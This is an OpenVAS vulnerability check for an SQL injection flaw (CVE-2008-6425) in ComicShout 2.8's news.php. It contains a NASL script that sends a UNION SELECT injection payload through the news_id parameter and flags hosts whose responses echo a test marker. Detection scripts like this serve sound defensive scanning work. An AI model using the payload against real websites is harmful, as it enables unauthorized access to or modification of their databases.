ComicShout 'news.php' SQL Injection Vulnerability

2009-03-16T00:00:00
ID OPENVAS:1361412562310100044
Type openvas
Reporter Copyright (C) 2009 Greenbone Networks GmbH
Modified 2020-05-06T00:00:00

Description

ComicShout is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

                                        
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# OpenVAS Vulnerability Test
#
# ComicShout 'news.php' SQL Injection Vulnerability
#
# Authors:
# Michael Meyer
#
# Copyright:
# Copyright (C) 2009 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100044");
  script_version("2020-05-06T06:57:16+0000");
  script_tag(name:"last_modification", value:"2020-05-06 06:57:16 +0000 (Wed, 06 May 2020)");
  script_tag(name:"creation_date", value:"2009-03-16 12:53:50 +0100 (Mon, 16 Mar 2009)");
  script_bugtraq_id(29464);
  script_cve_id("CVE-2008-6425");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("ComicShout 'news.php' SQL Injection Vulnerability");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2009 Greenbone Networks GmbH");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since
  the disclosure of this vulnerability. Likely none will be provided anymore. General solution options
  are to upgrade to a newer release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_tag(name:"summary", value:"ComicShout is prone to an SQL-injection vulnerability because it
  fails to sufficiently sanitize user-supplied data before using it in
  an SQL query.");

  script_tag(name:"impact", value:"Exploiting this issue could allow an attacker to compromise the
  application, access or modify data, or exploit latent
  vulnerabilities in the underlying database.");

  script_tag(name:"affected", value:"ComicShout 2.8 is vulnerable. Other versions may also be affected.");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/29464");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");

port = http_get_port(default:80);
if(!http_can_host_php(port:port))exit(0);

foreach dir( make_list_unique( "/comic", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";

  url = string(dir, "/news.php?news_id=4+union+all+select+0,1,2,0x53514c2d496e6a656374696f6e2d54657374");

  if(http_vuln_check(port:port, url:url,pattern:"SQL-Injection-Test")) {
    report = http_report_vuln_url( port:port, url:url );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

exit( 99 );